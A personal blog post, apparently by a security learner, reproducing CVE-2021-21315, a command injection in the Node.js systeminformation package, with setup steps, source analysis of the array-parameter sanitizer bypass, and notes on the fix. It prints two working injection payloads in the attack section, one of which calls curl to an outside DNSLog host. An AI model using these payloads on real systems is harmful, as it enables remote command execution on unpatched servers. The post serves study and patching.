suyumen
目前主要在学习web相关

CVE-2021-21315复现

2022-03-25 js 漏洞复现
Word count: 768 | Reading time: 3min

漏洞简介

  • 漏洞名称:Node.js命令注入漏洞
  • 影响范围:Systeminformation < 5.3.1
  • CVSSv3评分:7.8
  • 漏洞类型:命令注入
  • 描述:systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息,自发布至今,软件包下载次数近3400万。

环境搭建

1. 安装Nodejs环境

2. 部署Nodejs环境

git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
命令node index.js挂载环境

攻击过程

浏览器打开localhost:8000
尝试poc

1
2
/api/getServices?name[]=$(echo "hack" > test.txt)
/api/getServices?name[]=$(curl http://t5qpmi.dnslog.cn)

攻击效果

poc1:生成test.txt文件,内容为hack

poc2:DNSLog查询有记录。

该漏洞允许攻击者无回显的进行命令执行。

漏洞原理

在网上没有找到任何有关于源码的漏洞触发点说明,所以自己尝试着去审计了一下源码,没怎么学过node.js,如有错漏,请不吝指出。

根据源码,在index.js中调用si.services()函数,接收get传参name[]内容;
index.js

在正常的使用情况下,是类似这样的代码段,传入字符串参数,探测部件的使用情况。

1
2
const si = require('systeminformation');
si.services('mysql, postgres').then(data => console.log(data));

它的运行结果是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[
{
name: 'mysql',
running: true,
startmode: '',
pids: [ 152 ],
cpu: 0.3,
mem: 0
},
{
name: 'postgres',
running: true,
startmode: '',
pids: [ 1087, 1873 ],
cpu: 0,
mem: 0
},
]

si.services()函数位于process.js文件,内容如下;
process.js

对于传入的参数srv,在函数util.sanitizeShellString()处做过滤后赋值给const s变量

跟进到util.js文件,查看sanitizeShellString(),可以看到,该函数对传入的字符串str做了处理,将其中的一些特殊符号进行了过滤,旨在返回“干净的字符串”。
util.js

这里我根据它的过滤函数逻辑尝试写了一份js文件,传入数组类型的name给过滤函数去处理,内容为一个带特殊符号的字符串,运行结果得到的却是没有经过过滤的name

test.js

证实了这里对于传入的数组不能够正常进行字符串过滤处理

然后在si.services()函数的逻辑下,const s继续被赋值给srvString,由于是Linux系统,故而进入到以下代码段:

process.js

通过exec函数执行拼接了srvString的命令,从而导致RCE的效果。

漏洞修复

我比对了3.1.5版本的修改发现,3.1.5以前的版本缺少如下对传入参数类型的判断:

1
2
3
4
5
6
7
return new Promise((resolve) => {
process.nextTick(() => {
if (containerID) {

if (!_docker_socket) {
_docker_socket = new DockerSocket();
}

修改后,在多处加入了对参数类型的判断以及对原型是否被污染的判断。旨在规定参数类型必须是字符串类型

1
2
3
4
5
6
7
8
9
10
11
12
return new Promise((resolve) => {
process.nextTick(() => {
containerID = containerID || '';
if (typeof containerID !== 'string') {
resolve();
}
const containerIdSanitized = (util.isPrototypePolluted() ? '' : util.sanitizeShellString(containerID, true)).trim();
if (containerIdSanitized) {

if (!_docker_socket) {
_docker_socket = new DockerSocket();
}

Author: suyumen

Link: https://suyumen.github.io/2022/03/25/2022-03-25-CVE-2021-21315%E5%A4%8D%E7%8E%B0/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
CVE-2021-1647复现
NextPost >
部分古典密码实现
CATALOG
  1. 1. 漏洞简介
  2. 2. 环境搭建
    1. 2.1. 1. 安装Nodejs环境
    2. 2.2. 2. 部署Nodejs环境
  3. 3. 攻击过程
  4. 4. 攻击效果
  5. 5. 漏洞原理
  6. 6. 漏洞修复